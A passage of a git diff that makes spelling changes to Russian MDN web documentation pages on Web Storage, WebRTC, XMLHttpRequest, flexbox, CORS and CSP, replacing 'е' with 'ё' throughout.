        Storage определен в WhatWG Storage Interface следующим образом:

        +

        Storage определён в WhatWG Storage Interface следующим образом:

        interface Storage {
   readonly attribute unsigned long length;
@@ -53,16 +53,16 @@ original_slug: Web/Guide/API/DOM/Storage
 
 
        Заметка: Несмотря на то, что значения доступны для чтения и записи через стандартные способы Javascript, рекомендуется использование getItem и setItem.
        
 
-
        Заметка: Обратите внимание, что любые данные, которые хранятся в любом из хранилищ, описанных на этой странице, преобразуются в строку, используя метод.toString. перед тем, как сохранить значение. Попытка сохранить объект приведет к сохранению строки "[object Object]"  вместо объекта или его JSON представления. Самым лучшим и распространенным способом сохранения объектов в формате строки является использование предоставляемых браузером методов JSON для парсинга и сериализации объектов.
        
+
        Заметка: Обратите внимание, что любые данные, которые хранятся в любом из хранилищ, описанных на этой странице, преобразуются в строку, используя метод.toString. перед тем, как сохранить значение. Попытка сохранить объект приведёт к сохранению строки "[object Object]"  вместо объекта или его JSON представления. Самым лучшим и распространённым способом сохранения объектов в формате строки является использование предоставляемых браузером методов JSON для парсинга и сериализации объектов.
        
 
 
        sessionStorage
        
 
-
        Это глобальный объект (sessionStorage), который сохраняет значения, которые доступны в течение периода текущей сессии. Сессия страницы длится, пока браузер открыт, и восстанавливает свои значения после перегрузки страницы. Открытие страницы в новой вкладке или окне приведет к созданию новой сессии для этой страницы.
        
+
        Это глобальный объект (sessionStorage), который сохраняет значения, которые доступны в течение периода текущей сессии. Сессия страницы длится, пока браузер открыт, и восстанавливает свои значения после перегрузки страницы. Открытие страницы в новой вкладке или окне приведёт к созданию новой сессии для этой страницы.
        
 
 
        // Сохранить данные в локальное хранилище текущей сессии
 sessionStorage.setItem("username", "John");
 
-// Получить значения сохраненного значения
+// Получить значения сохранённого значения
 alert( "username = " + sessionStorage.getItem("username"));
 
        
 
@@ -99,7 +99,7 @@ alert( "username = " + sessionStorage.getItem("username"));
 
 
        localStorage - это то же самое, что и {{ Anch("sessionStorage") }}, поддерживает правила единого происхождения(same-origin rules), но хранение данных постоянно. localStorage был представлен в Firefox 3.5.
        
 
-
        Заметка: Когда браузер переходит в частный режим браузера(private browsing mode), то новая, временная база данных создается для хранения данных локального хранилища; эта база данных очищается и удаляется, как только частный режим браузера выключается.
        
+
        Заметка: Когда браузер переходит в частный режим браузера(private browsing mode), то новая, временная база данных создаётся для хранения данных локального хранилища; эта база данных очищается и удаляется, как только частный режим браузера выключается.
        
 
 
        Совместимость
        
 
diff --git a/files/ru/conflicting/web/api/webrtc_api/index.html b/files/ru/conflicting/web/api/webrtc_api/index.html
index b1e3f5d481..6e7c0536eb 100644
--- a/files/ru/conflicting/web/api/webrtc_api/index.html
+++ b/files/ru/conflicting/web/api/webrtc_api/index.html
@@ -21,7 +21,7 @@ original_slug: Web/Guide/API/WebRTC
  
        Введение в архитектуру WebRTC
        
  
        (AKA "WebRTC and the Ocean of Acronyms") WebRTC состоит из множества частей и это может быть причиной сложностей для новичков. Эта статья рассказывает обо всех частях и объясняет то как они между собой связаны.
        
  
        Основы WebRTC 
        
- 
        Теперь, когда вы уже знаете архитектуру WebRTC, вы можете перейти к этой статье, которая проведет вас через путь создания кросс-браузерного RTC-приложения
        
+ 
        Теперь, когда вы уже знаете архитектуру WebRTC, вы можете перейти к этой статье, которая проведёт вас через путь создания кросс-браузерного RTC-приложения
        
 
 
 
        Ссылки
        
diff --git a/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html
index f6ec2af600..fc0da52bbc 100644
--- a/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html
+++ b/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html
@@ -20,7 +20,7 @@ original_slug: Web/API/WebRTC_API/WebRTC_basics
 
        Материал здесь происходит от RTCPeerConnection; она может остаться здесь, или же  может переместится в другое место.
        
 
 
        Основы использования
        
- Базовое использование RTCPeerConnection предполагает переговоры связь между локальной машиной и удаленной машиной один генерируя Session Description Protocol для обмена между ними. Вызывающая программа начинает процесс, отправив предложение на удаленное устройство, которое реагирует либо принять или отклонить запрос на соединение.
        
+ Базовое использование RTCPeerConnection предполагает переговоры связь между локальной машиной и удалённой машиной один генерируя Session Description Protocol для обмена между ними. Вызывающая программа начинает процесс, отправив предложение на удалённое устройство, которое реагирует либо принять или отклонить запрос на соединение.
        
 
 
        Обе стороны (вызывающий и вызываемый абонент) необходимо настроить свои собственные экземпляры RTCPeerConnection, чтобы представить их конец соединения равноправных узлов ЛВС:
        
 
@@ -68,9 +68,9 @@ navigator.getUserMedia({video: true}, function(stream) {
 
 
        Ответ на вызов
        
 
-
        На противоположном конце, друг получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение прибывает, {{domxref ("navigator.getUserMedia ()")}} вновь используется для создания потока, который добавляется к RTCPeerConnection. {{Domxref ("RTCSessionDescription")}} объект создается и установить в качестве удаленного описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.
        
+
        На противоположном конце, друг получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение прибывает, {{domxref ("navigator.getUserMedia ()")}} вновь используется для создания потока, который добавляется к RTCPeerConnection. {{Domxref ("RTCSessionDescription")}} объект создаётся и установить в качестве удалённого описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.
        
 
-
        Тогда ответ создается с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.
        
+
        Тогда ответ создаётся с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.
        
 
 
        var offer = getOfferFromFriend();
 navigator.getUserMedia({video: true}, function(stream) {
@@ -89,9 +89,9 @@ navigator.getUserMedia({video: true}, function(stream) {
 
 
        Ответ на вызов
        
 
-
        На противоположном конце, человек получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение принято, navigator.getUserMedia () вновь используется для создания потока, который добавляется к RTCPeerConnection.  объект создается и установить в качестве удаленного описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.
        
+
        На противоположном конце, человек получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение принято, navigator.getUserMedia () вновь используется для создания потока, который добавляется к RTCPeerConnection.  объект создаётся и установить в качестве удалённого описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.
        
 
-
        Тогда ответ создается с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.
        
+
        Тогда ответ создаётся с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.
        
 
 
        // ПК был создан раньше, когда мы сделали первоначальное предложение
 var offer = getResponseFromFriend();
@@ -99,7 +99,7 @@ pc.setRemoteDescription(new RTCSe
 
 
        Old content follows!
        
 
-
        Все, что находится ниже этого пункта,  потенциально устарело. Это по-прежнему находится в стадии рассмотрения  и возможного включения в другие части документации, если они все еще актуальны.
        
+
        Все, что находится ниже этого пункта,  потенциально устарело. Это по-прежнему находится в стадии рассмотрения  и возможного включения в другие части документации, если они все ещё актуальны.
        
 
 
        
 
        Не используйте примеры на этой странице. Смотрите статью Signaling and video calling для работы, актуальный пример с использованием WebRTC media.
        
diff --git a/files/ru/conflicting/web/api/window/localstorage/index.html b/files/ru/conflicting/web/api/window/localstorage/index.html
index 50b03e48d3..5e87d8edc8 100644
--- a/files/ru/conflicting/web/api/window/localstorage/index.html
+++ b/files/ru/conflicting/web/api/window/localstorage/index.html
@@ -7,15 +7,15 @@ original_slug: Web/API/Storage/LocalStorage
 ---
 
        localStorage это аналог sessionStorage, с некоторыми same-origin правилами, но значения хранятся постоянно (в отличии от sessions). localStorage появился в Firefox 3.5.
        
 
-
        Примечание: Когда браузер переходит в режим приватного просмотра, создается новое временное хранилище. Изначально оно пустое. После выхода из режима приватного просмотра временное хранилище очищается.
        
+
        Примечание: Когда браузер переходит в режим приватного просмотра, создаётся новое временное хранилище. Изначально оно пустое. После выхода из режима приватного просмотра временное хранилище очищается.
        
 
 
        // Сохраняет данные в текущий local store
 localStorage.setItem("username", "John");
 
-// Извлекает ранее сохраненные данные
+// Извлекает ранее сохранённые данные
 alert( "username = " + localStorage.getItem("username"));
        
 
-
        localStorage's позволяет постоянно хранить некоторую полезную информацию, включая счетчики посещения страницы, как показано в примере this tutorial on Codepen.
        
+
        localStorage's позволяет постоянно хранить некоторую полезную информацию, включая счётчики посещения страницы, как показано в примере this tutorial on Codepen.
        
 
 
        Совместимость
        
 
diff --git a/files/ru/conflicting/web/api/xmlhttprequest/index.html b/files/ru/conflicting/web/api/xmlhttprequest/index.html
index 89d75358b5..58c663042d 100644
--- a/files/ru/conflicting/web/api/xmlhttprequest/index.html
+++ b/files/ru/conflicting/web/api/xmlhttprequest/index.html
@@ -6,7 +6,7 @@ tags:
   - XMLHttpRequest
 original_slug: XMLHttpRequest
 ---
-
        XMLHttpRequest — это объект JavaScript, созданный Microsoft и адаптированный Mozilla. Вы можете использовать его для простой передачи данных через HTTP. Несмотря на свое название, он может быть использован не только для XML документов, но и, например, для JSON.
        
+
        XMLHttpRequest — это объект JavaScript, созданный Microsoft и адаптированный Mozilla. Вы можете использовать его для простой передачи данных через HTTP. Несмотря на своё название, он может быть использован не только для XML документов, но и, например, для JSON.
        
 
 
        Оставшаяся часть статьи может содержать информацию, специфичную для Gecko или привилегированного кода, такого как дополнения.
        
 
@@ -16,7 +16,7 @@ original_slug: XMLHttpRequest
 
 
        Использовать XMLHttpRequest очень просто. Вы создаёте экземпляр объекта, открываете URL и отправляете запрос. Статус HTTP-ответа, так же как и возвращаемый документ, доступны в свойствах объекта запроса.
        
 
-
        Замечание: Версии Firefox до версии 3 постоянно отправляют запрос, используя кодировку UTF-8. Отправляя документ, Firefox 3 использует кодировку, определенную в data.inputEncoding (где data — ненулевой объект, переданный в send()). Если не определено, то используется UTF-8.
        
+
        Замечание: Версии Firefox до версии 3 постоянно отправляют запрос, используя кодировку UTF-8. Отправляя документ, Firefox 3 использует кодировку, определённую в data.inputEncoding (где data — ненулевой объект, переданный в send()). Если не определено, то используется UTF-8.
        
 
 
        Пример
        
 
@@ -98,7 +98,7 @@ req.send(null);
 
 
        responseXML
        
 
-
        Если вы загрузили XML документ свойство responseXML будет содержать документ в виде XmlDocument объекта которым вы можете манипулировать используя DOM методы. Если сервер отправляет правильно сформированные XML документы но не устанавливает Content-Type заголовок для него, вы можете использовать overrideMimeType() для того чтобы документ был обработан как XML. Если сервер не отправляет правильно сформированного документа XML, responseXML вернет null независимо от любых перезаписей Content-Type заголовка.
        
+
        Если вы загрузили XML документ свойство responseXML будет содержать документ в виде XmlDocument объекта которым вы можете манипулировать используя DOM методы. Если сервер отправляет правильно сформированные XML документы но не устанавливает Content-Type заголовок для него, вы можете использовать overrideMimeType() для того чтобы документ был обработан как XML. Если сервер не отправляет правильно сформированного документа XML, responseXML вернёт null независимо от любых перезаписей Content-Type заголовка.
        
 
 
        overrideMimeType()
        
 
@@ -146,7 +146,7 @@ req.abort();
 
 
        mozBackgroundRequest
        
 
-
        Это свойство может быть использовано чтобы уберечь от всплытия аутентификации и неправильных диалогов сертификации в ответ на запрос. Также запрос не будет отменен при закрытии его окна, которому он принадлежит. Это свойство работает только для кода chrome. {{ Fx_minversion_inline(3) }}
        
+
        Это свойство может быть использовано чтобы уберечь от всплытия аутентификации и неправильных диалогов сертификации в ответ на запрос. Также запрос не будет отменён при закрытии его окна, которому он принадлежит. Это свойство работает только для кода chrome. {{ Fx_minversion_inline(3) }}
        
 
 
        var req = new XMLHttpRequest();
 req.mozBackgroundRequest = true;
diff --git a/files/ru/conflicting/web/css/_colon_is/index.html b/files/ru/conflicting/web/css/_colon_is/index.html
index 72f71c9556..c771129bd5 100644
--- a/files/ru/conflicting/web/css/_colon_is/index.html
+++ b/files/ru/conflicting/web/css/_colon_is/index.html
@@ -15,9 +15,9 @@ original_slug: Web/CSS/:any
 
 
        Описание
        
 
-
        Псевдокласс :any() дает возможность быстрого конструирования наборов похожих селекторов путем составления групп, в которых каждый из входящих элементов будет комбинироваться с элементами из других групп. Это альтернатива для прописывания комбинаций селекторов для одного элемента, который может находится в разных родителях.
        
+
        Псевдокласс :any() даёт возможность быстрого конструирования наборов похожих селекторов путём составления групп, в которых каждый из входящих элементов будет комбинироваться с элементами из других групп. Это альтернатива для прописывания комбинаций селекторов для одного элемента, который может находится в разных родителях.
        
 
-
        Замечание: Этот псевдокласс все еще находится в процессе стандартизации в CSS селекторах уровня 4 под именем :matches(). Вполне вероятно, что синтаксис и имя :-vendor-any() будут изменены в ближайшем будущем, чтобы соответствовать спецификации.
        
+
        Замечание: Этот псевдокласс все ещё находится в процессе стандартизации в CSS селекторах уровня 4 под именем :matches(). Вполне вероятно, что синтаксис и имя :-vendor-any() будут изменены в ближайшем будущем, чтобы соответствовать спецификации.
        
 
 
        Синтаксис
        
 
diff --git a/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
index ace3750eeb..a0ba127557 100644
--- a/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
+++ b/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
@@ -19,7 +19,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
 
 
        Для многих дизайнеров модель использования флексбоксов будет более простой для применения. Дочерние элементы внутри флексбокса могут размещаться в любом направлении и могут менять размер, чтобы адаптироваться к различным размерам дисплея. Позиционирование элементов в таком случае является простым и комплексная разметка достигается значительно легче и с более чистым кодом, поскольку порядок отображения элементов не связан с их порядком в коде. Эта независимость умышленно касается только визуального рендеринга, оставляя порядок интерпретации и навигацию зависимыми от порядка в исходниках.
        
 
-
        Внимание: некоторые браузеры все еще могут частично или полностью не поддерживать флексбоксы. Ознакомьтесь с таблицей совместимости.
        
+
        Внимание: некоторые браузеры все ещё могут частично или полностью не поддерживать флексбоксы. Ознакомьтесь с таблицей совместимости.
        
 
 
        Концепция Flexbox
        
 
@@ -53,7 +53,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
  
  
        Направления
        
  
        
- 
        Главное начало и конец (main) и перекрёстное начало и конец (cross start/end) — это стороны контейнера, определяющие начало и окончание потока flex-элементов. Они следуют по главной и перекрестной осями flex-контейнера в векторе, установленном режимом написания ({{Cssxref("writing-mode")}}) (слева направо, справа налево и т. д.).
        
+ 
        Главное начало и конец (main) и перекрёстное начало и конец (cross start/end) — это стороны контейнера, определяющие начало и окончание потока flex-элементов. Они следуют по главной и перекрёстной осями flex-контейнера в векторе, установленном режимом написания ({{Cssxref("writing-mode")}}) (слева направо, справа налево и т. д.).
        
 
  
          
   
        • Свойство {{Cssxref("order")}} присваивает элементы порядковым группам и определяет, в каком порядке их показывать.
          • 
@@ -62,7 +62,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
  
        
  
        Линии
        
  
        
- 
        Flex-элементы могут размещаться на одной или нескольких линиях в зависимости от значения свойства {{Cssxref("flex-wrap")}}, которое контролирует направление перекрестных линий и направление в котором складываются новые линии.
        
+ 
        Flex-элементы могут размещаться на одной или нескольких линиях в зависимости от значения свойства {{Cssxref("flex-wrap")}}, которое контролирует направление перекрёстных линий и направление в котором складываются новые линии.
        
  
        
  
        Размеры
        
  
        
@@ -97,9 +97,9 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
 
 
        Отступы (margin) соседних flex-контейнеров не схлопываются. Установка значений margin: auto поглощает дополнительное место в вертикальном или горизонтальном направлении и может быть использовано для выравнивания или для разделения соседних flex-элементов. См. Выравнивание при помощи 'автоматических' отступов в разделе "Модель расположения при помощи flex-контейнеров" спецификации W3C.
        
 
-
        Свойства выравнивания flexbox выполняют "истинное" центрирование в отличие от других способов центрирования в CSS. Это означает, что flex-элементы будут оставаться отцентрированными даже если они переполняют flex-контейнер. Впрочем, это может иногда быть проблематичным, если они вылезают за верхний или левый край страницы (в языках с написанием слева направо; в языках с написанием справа налево, таких как арабский, возникает проблема с правой границей), так как вы не можете прокрутить страницу в данную область даже если там есть содержимое! В будущем релизе свойства выравнивания будут также дополнены "безопасной" опцией. На данный момент, если это проблема, вы можете использовать отступы (margin) для достижения центрирования, так как они сработают "безопасно" и центрирование будет прекращено при переполнении. Вместо использования свойства align- просто установите автоматические отступы (margin: auto) для flex-элементов, которые вы хотите отцентрировать. Вместо свойств justify- установите margin: auto на внешние края первого и последнего элемента в flex-контейнере. Автоматические отступы будут "подстраиваться" и занимать оставшееся место, центрируя flex-элементы при наличии свободного места и используя стандартное выравнивание при его отсутствии. Тем не менее, если вы пытаетесь заменить justify-content центрированием, основанным на отступах (margin-based) в многострочном flexbox, вам, видимо, не повезло, так как вам необходимо установить отступы для первого и последнего элемента на каждой строке. Если вы не можете предугадать заранее на какой строке окажется каждый элемент, вы не сможете надежно использовать центрирование, основанное на отступах, на основной оси для замены свойства justify-content.
        
+
        Свойства выравнивания flexbox выполняют "истинное" центрирование в отличие от других способов центрирования в CSS. Это означает, что flex-элементы будут оставаться отцентрированными даже если они переполняют flex-контейнер. Впрочем, это может иногда быть проблематичным, если они вылезают за верхний или левый край страницы (в языках с написанием слева направо; в языках с написанием справа налево, таких как арабский, возникает проблема с правой границей), так как вы не можете прокрутить страницу в данную область даже если там есть содержимое! В будущем релизе свойства выравнивания будут также дополнены "безопасной" опцией. На данный момент, если это проблема, вы можете использовать отступы (margin) для достижения центрирования, так как они сработают "безопасно" и центрирование будет прекращено при переполнении. Вместо использования свойства align- просто установите автоматические отступы (margin: auto) для flex-элементов, которые вы хотите отцентрировать. Вместо свойств justify- установите margin: auto на внешние края первого и последнего элемента в flex-контейнере. Автоматические отступы будут "подстраиваться" и занимать оставшееся место, центрируя flex-элементы при наличии свободного места и используя стандартное выравнивание при его отсутствии. Тем не менее, если вы пытаетесь заменить justify-content центрированием, основанным на отступах (margin-based) в многострочном flexbox, вам, видимо, не повезло, так как вам необходимо установить отступы для первого и последнего элемента на каждой строке. Если вы не можете предугадать заранее на какой строке окажется каждый элемент, вы не сможете надёжно использовать центрирование, основанное на отступах, на основной оси для замены свойства justify-content.
        
 
-
        Помните, что, несмотря на то, что порядок отображения элементов не зависит от их положения в исходном коде, эта независимость затрагивает только визуальное отображение, оставляя навигацию и голосовую помощь в исходном порядке. Даже свойство {{cssxref("order")}} не влияет на очередность голосовой помощи и навигации. Таким образом, разработчики должны уделять внимание правильному порядку элементов в исходном коде, чтобы не навредить доступности документа.
        
+
        Помните, что, несмотря на то, что порядок отображения элементов не зависит от их положения в исходном коде, эта независимость затрагивает только визуальное отображение, оставляя навигацию и голосовую помощь в исходном порядке. Даже свойство {{cssxref("order")}} не влияет на очерёдность голосовой помощи и навигации. Таким образом, разработчики должны уделять внимание правильному порядку элементов в исходном коде, чтобы не навредить доступности документа.
        
 
 
        Свойства Flexbox
        
 
@@ -171,7 +171,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
 
 
        HolyGrailLayout.png
        
 
-
        Здесь изображен случай, когда расположение, подходящее для окна браузера должно быть оптимизировано для экрана смартфона. Не только элементы должны уменьшиться в размере, но и порядок, в котором они отображаются, должен измениться. Flexbox сильно упрощает это.
        
+
        Здесь изображён случай, когда расположение, подходящее для окна браузера должно быть оптимизировано для экрана смартфона. Не только элементы должны уменьшиться в размере, но и порядок, в котором они отображаются, должен измениться. Flexbox сильно упрощает это.
        
 
 
        ​<!DOCTYPE html>
 <html lang="en">
@@ -272,11 +272,11 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
 
 
        О чем нужно помнить
        
 
-
        Алгоритм, описывающий как flex-элементы располагаются, иногда может быть довольно запутанным. Вот несколько правильных решений, которые позволят избежать неприятных сюрпризов при верстке с использованием flexbox.
        
+
        Алгоритм, описывающий как flex-элементы располагаются, иногда может быть довольно запутанным. Вот несколько правильных решений, которые позволят избежать неприятных сюрпризов при вёрстке с использованием flexbox.
        
 
 
        Flexbox располагаются в соответствие с направлением письма, что означает, что главное начало и главный конец располагаются в зависимости от положения начала и конца (строки - прим.).
        
 
-
        Перекрестное начало и перекрестный конец полагаются на определение позиции начала и конца, которое зависит от значения свойства {{cssxref("direction")}}.
        
+
        Перекрёстное начало и перекрёстный конец полагаются на определение позиции начала и конца, которое зависит от значения свойства {{cssxref("direction")}}.
        
 
 
        Разрывы страницы допустимы в расположении flex-контейнеров, когда это позволяет свойство break-. Свойства CSS3 break-after, break-before и break-inside, а также свойства CSS 2.1 page-break-before, page-break-after и page-break-inside работают на flex-контейнере, flex-элементах, а также внутри flex-элементов.
        
 
@@ -361,13 +361,13 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
    8. -

    [1] Safari до версии 6.0 (iOS.1) поддерживал старую несовместимую черновую версию спецификации. Safari 6.1 (и Safari на iOS 7) был обновлен для поддержки финальной версии.

    +

    [1] Safari до версии 6.0 (iOS.1) поддерживал старую несовместимую черновую версию спецификации. Safari 6.1 (и Safari на iOS 7) был обновлён для поддержки финальной версии.

    -

    [2] До Firefox 22, чтобы активировать поддержку flexbox, пользователь должен установить параметр about:config layout.css.flexbox.enabled в значение true. Начиная с Firefox 22 по Firefox 27, параметр установлен в true по умолчанию, и полностью исключен в Firefox 28.

    +

    [2] До Firefox 22, чтобы активировать поддержку flexbox, пользователь должен установить параметр about:config layout.css.flexbox.enabled в значение true. Начиная с Firefox 22 по Firefox 27, параметр установлен в true по умолчанию, и полностью исключён в Firefox 28.

    -

    [3] Internet Explorer 10 поддерживает старую несовместимую черновую версию спецификации; Internet Explorer 11 был обновлен для поддержки финальной версии.

    +

    [3] Internet Explorer 10 поддерживает старую несовместимую черновую версию спецификации; Internet Explorer 11 был обновлён для поддержки финальной версии.

    -

    [4] Android browser до версии 4.3 поддерживал старую несовместимую черновую версию спецификации. Android 4.4 был обновлен для поддержки финальной версии.

    +

    [4] Android browser до версии 4.3 поддерживал старую несовместимую черновую версию спецификации. Android 4.4 был обновлён для поддержки финальной версии.

    [5] Хотя изначальная реализация в Opera 12.10 flexbox была без приставки, она получила приставку {{property_prefix("-webkit")}} в версиях с 15 по 16 Opera и с 15 по 19 Opera Mobile. Приставка была снова убрана в Opera 17 и Opera Mobile 24.

    diff --git a/files/ru/conflicting/web/css/gap/index.html b/files/ru/conflicting/web/css/gap/index.html index 8f09dcd99b..714cd0beb5 100644 --- a/files/ru/conflicting/web/css/gap/index.html +++ b/files/ru/conflicting/web/css/gap/index.html @@ -11,7 +11,7 @@ original_slug: Web/CSS/grid-gap

    Примечание. Свойство CSS с разделительной сеткой было переименовано в свойство prefix-less {{cssxref('gap')}}.

    -

    Свойство CSS grid-gap является сокращенным свойством для {{cssxref("grid-row-gap")}} и {{cssxref("grid-column-gap")}}, определяющего желоба между строками и столбцами сетки.

    +

    Свойство CSS grid-gap является сокращённым свойством для {{cssxref("grid-row-gap")}} и {{cssxref("grid-column-gap")}}, определяющего желоба между строками и столбцами сетки.

    {{EmbedInteractiveExample("pages/css/grid-gap.html")}}
    diff --git a/files/ru/conflicting/web/css/url()/index.html b/files/ru/conflicting/web/css/url()/index.html index 0f7f929f08..97687fc05b 100644 --- a/files/ru/conflicting/web/css/url()/index.html +++ b/files/ru/conflicting/web/css/url()/index.html @@ -22,7 +22,7 @@ original_slug: Web/CSS/filter-function/url
    расположение
    -
    В {{cssxref("<URL-адрес>")}} из {{glossary("XML")}} указывается файл, который задает фильтр SVG, а также может включать в себя привязки к конкретному фильтрующему элементу.
    +
    В {{cssxref("<URL-адрес>")}} из {{glossary("XML")}} указывается файл, который задаёт фильтр SVG, а также может включать в себя привязки к конкретному фильтрующему элементу.

    Пример

    diff --git a/files/ru/conflicting/web/http/cors/index.html b/files/ru/conflicting/web/http/cors/index.html index 0d44c873b3..23d269ec05 100644 --- a/files/ru/conflicting/web/http/cors/index.html +++ b/files/ru/conflicting/web/http/cors/index.html @@ -5,13 +5,13 @@ translation_of: Web/HTTP/CORS translation_of_original: Web/HTTP/Server-Side_Access_Control original_slug: Web/HTTP/Server-Side_Access_Control --- -

    Системы контроля доступа производят идентификацию авторизации, аутентификацию, подтверждение доступа и подотчетность сущностей с помощью учетных данных для входа, включая пароль, личный идентификационный номер (PINs), биометрическое сканирование и физический или электронный ключ.

    +

    Системы контроля доступа производят идентификацию авторизации, аутентификацию, подтверждение доступа и подотчётность сущностей с помощью учётных данных для входа, включая пароль, личный идентификационный номер (PINs), биометрическое сканирование и физический или электронный ключ.

    Контроль доступа --- это техника безопасности, которую можно использовать для регулирования процессом того, кто или что может видеть или использовать ресурсы в вычислительном окружении.

    {{HTTPSidebar}}

    -

    Для меж-сайтовых запросов, произведенных с помощью {{domxref("XMLHttpRequest")}} или Fetch API, браузеры передают специальные HTTP заголовки. Так же ожидаемо увидеть определенные HTTP заголовки, переданные обратно внутри меж-сайтового ответа. Обзор этих заголовков, включая примеры JavaScript кода, создающего запросы и обрабатывающего ответы от сервера, как и описание каждого из заголовков, может быть найден в статье HTTP Access Control (CORS) и должен быть прочитан вместе с данной. Эта статья покрывает обработку Запросов контроля доступа и формулировку Ответов контроля доступа в PHP. Целевая аудитория для этой статьи ---  разработчики серверов и администраторы. Хотя примеры кода, приведенные тут, на PHP, подобная концепция применяется в ASP.net, Perl, Python, Java, etc.; в общем, эти концепции могут быть применены в любом сервером окружении, который обрабатывает HTTP запросы и динамически формирует HTTP ответы.

    +

    Для меж-сайтовых запросов, произведённых с помощью {{domxref("XMLHttpRequest")}} или Fetch API, браузеры передают специальные HTTP заголовки. Так же ожидаемо увидеть определённые HTTP заголовки, переданные обратно внутри меж-сайтового ответа. Обзор этих заголовков, включая примеры JavaScript кода, создающего запросы и обрабатывающего ответы от сервера, как и описание каждого из заголовков, может быть найден в статье HTTP Access Control (CORS) и должен быть прочитан вместе с данной. Эта статья покрывает обработку Запросов контроля доступа и формулировку Ответов контроля доступа в PHP. Целевая аудитория для этой статьи ---  разработчики серверов и администраторы. Хотя примеры кода, приведённые тут, на PHP, подобная концепция применяется в ASP.net, Perl, Python, Java, etc.; в общем, эти концепции могут быть применены в любом сервером окружении, который обрабатывает HTTP запросы и динамически формирует HTTP ответы.

    Discussion of HTTP headers

    diff --git a/files/ru/conflicting/web/http/csp/index.html b/files/ru/conflicting/web/http/csp/index.html index a424fc49db..e4572bb83d 100644 --- a/files/ru/conflicting/web/http/csp/index.html +++ b/files/ru/conflicting/web/http/csp/index.html @@ -12,7 +12,7 @@ original_slug: Web/Security/CSP

    Политика защиты контента (CSP) — это дополнительный уровень безопасности, который помогает обнаружить и смягчить некоторые виды атак, в том числе межсайтовый скриптинг (XSS) и инъекцию данных. Эти атаки используются для всего, от кражи данных до порчи сайтов и распространения вредоносного ПО.

    -

    Хотя CSP выпустила первую в Firefox 4, с использованием X-Content-Security-Policy предварительно из-за наличия формальной спецификации для CSP.  Firefox 23 содержит обновленную реализацию CSP, которая используется без префикса заголовка Content-Security-Policy и директив, как описано в W3C CSP 1.0 spec.

    +

    Хотя CSP выпустила первую в Firefox 4, с использованием X-Content-Security-Policy предварительно из-за наличия формальной спецификации для CSP.  Firefox 23 содержит обновлённую реализацию CSP, которая используется без префикса заголовка Content-Security-Policy и директив, как описано в W3C CSP 1.0 spec.

    Разделы CSP

    @@ -26,7 +26,7 @@ original_slug: Web/Security/CSP
    Using CSP violation reports
    Как использовать сообщения CSP  о нарушениях, чтобы контролировать попытки атаковать ваш сайт и его пользователей.
    Default CSP restrictions {{obsolete_inline("15.0")}}
    -
    Подробности об ограничениях внедренных по умолчанию в CSP.
    +
    Подробности об ограничениях внедрённых по умолчанию в CSP.

    См. также

    diff --git a/files/ru/conflicting/web/javascript/guide/introduction/index.html b/files/ru/conflicting/web/javascript/guide/introduction/index.html index 4ea20a6196..155240f7d6 100644 --- a/files/ru/conflicting/web/javascript/guide/introduction/index.html +++ b/files/ru/conflicting/web/javascript/guide/introduction/index.html @@ -117,7 +117,7 @@ original_slug: Web/JavaScript/Guide/About
  8. JavaScript Reference содержит справочный материал по языку JavaScript.
    9. -

    Если вы новичок в JavaScript, то начните с Учебника JavaScript. Как только вы усвоили фундаментальные основы, вы можете начать пользоваться Справочником JavaScript, чтобы получить больше информации об определенных объектах, выражениях и операторах.

    +

    Если вы новичок в JavaScript, то начните с Учебника JavaScript. Как только вы усвоили фундаментальные основы, вы можете начать пользоваться Справочником JavaScript, чтобы получить больше информации об определённых объектах, выражениях и операторах.

    Советы изучающим JavaScript

    diff --git a/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html b/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html index 84bb8a3110..b9e0c98b1c 100644 --- a/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html +++ b/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html @@ -9,7 +9,7 @@ original_slug: Web/JavaScript/Guide/JavaScript_Overview

    Что такое JavaScript?

    -

